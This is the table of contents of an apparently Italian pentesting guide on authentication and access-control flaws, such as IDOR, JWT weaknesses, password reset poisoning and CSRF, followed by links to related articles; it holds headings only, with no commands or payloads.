Bypass Rate Limiting (Brute Force / 2FA) #

Bypass IDOR con Encoding #

Bypass Access Control #

Tool Workflow Reali #

Burp Suite — Il Setup Ideale #

jwt_tool — Workflow JWT #

🏢 Enterprise Escalation #

IDOR → Data Breach Massivo #

JWT None → Admin → Infrastruttura #

Password Reset Poisoning → CEO Takeover #

CSRF → Persistent Admin Access #

🔌 Variante API / Microservizi 2026 #

Auth Pentesting: Playbook Operativo (Step-by-Step) #

Fase 1 — Setup e Session Analysis (minuto 0-10) #

Fase 2 — Authorization Testing (minuto 10-30) #

Fase 3 — Authentication Testing (minuto 30-50) #

Fase 4 — Session & CSRF (minuto 50-60) #

Attack Chain Reale Auth (Step-by-Step) #

Chain 1: IDOR → Data Breach Massivo #

Chain 2: JWT Weak Secret → Admin → Cloud #

Chain 3: Password Reset → CEO Account → BEC Fraud #

Micro Playbook Reale #

Caso Studio Concreto #

Errori Comuni Reali #

Indicatori di Compromissione (IoC) #

✅ Checklist Finale — Auth & Access Control #

Mappa del Cluster Auth & Access Control #

Relate Articles

Backup Exposure: Dump SQL, .env e ZIP Esposti

Nikto: Web Server Scanner per Vulnerabilità e Misconfiguration

Business Logic Flaw: Cos’è e Come Trovarlo

Clickjacking: Cos’è e Come Trovarlo nel Pentesting Web

Command Injection: Cos’è e Come Trovarla nel Pentesting

Arbitrary File Read: Exploit, WAF Bypass e Cloud Takeover (Guida Pentesting 2026)

Brute Force Attack: Tecniche, Tool e Bypass nel Penetration Testing

DIVENTA PARTE DELL’ÉLITE DELL’HACKING ETICO.